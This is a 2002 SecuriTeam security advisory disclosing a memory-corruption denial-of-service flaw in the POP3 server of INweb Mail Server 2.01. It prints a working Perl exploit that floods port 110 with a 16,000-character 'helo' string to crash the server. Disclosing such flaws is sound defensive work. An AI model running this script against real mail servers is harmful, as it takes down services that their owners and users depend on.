[NT] INweb Mail Server Denial of Service Vulnerability

From: support@securiteam.com
Date: 11/14/02 

From: support@securiteam.com
To: list@securiteam.com
Date: 14 Nov 2002 16:49:02 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  INweb Mail Server Denial of Service Vulnerability
------------------------------------------------------------------------

SUMMARY

The <http://www.inwebmail.com/> INweb Mail Server is a standard Internet
POP3 and SMTP mail server that runs flawlessly under Windows 2000 and NT
and other windows platforms. The INweb Mail Server provides numerous
unique features for both small and large businesses as well as ISP's. This
includes many facilities to handle spam and viruses. Due to a memory
corruption problem a remote attacker is able to crash the server.

DETAILS

Vulnerable systems:
 * INweb Mail Server version 2.01

Memory corruption vulnerability exists in INweb Mail Server. The POP3
server included with INweb Mail Server does not properly handle some types
of requests. By submitting a maliciously crafted request to the POP3
server, an attacker could crash the system, resulting in a denial of
service.

Exploit:
An exploit for this vulnerability exists and is available below.

#!/usr/bin/perl -w

use IO::Socket;

$host = $ARGV[0];
$port = "110";
$evil = "A" x 16000;

print "INweb Mail Server v2.01 Denial of Service Vulnerability by
SecurityOffice\n";
print "Usage: $0 host\n";
print "Connecting...\n";
$socket = IO::Socket::INET->
            new(Proto=>"tcp",
            PeerAddr=>$host,
            PeerPort=>$port)
            || die "Connection failed.\n";

print "Attacking...\n";
print $socket "helo:$evil\n\n";

close($socket);
print "\nConnection closed. Finished.\n\n";

ADDITIONAL INFORMATION

The information has been provided by <mailto:ts@securityoffice.net> Tamer
Sahin.

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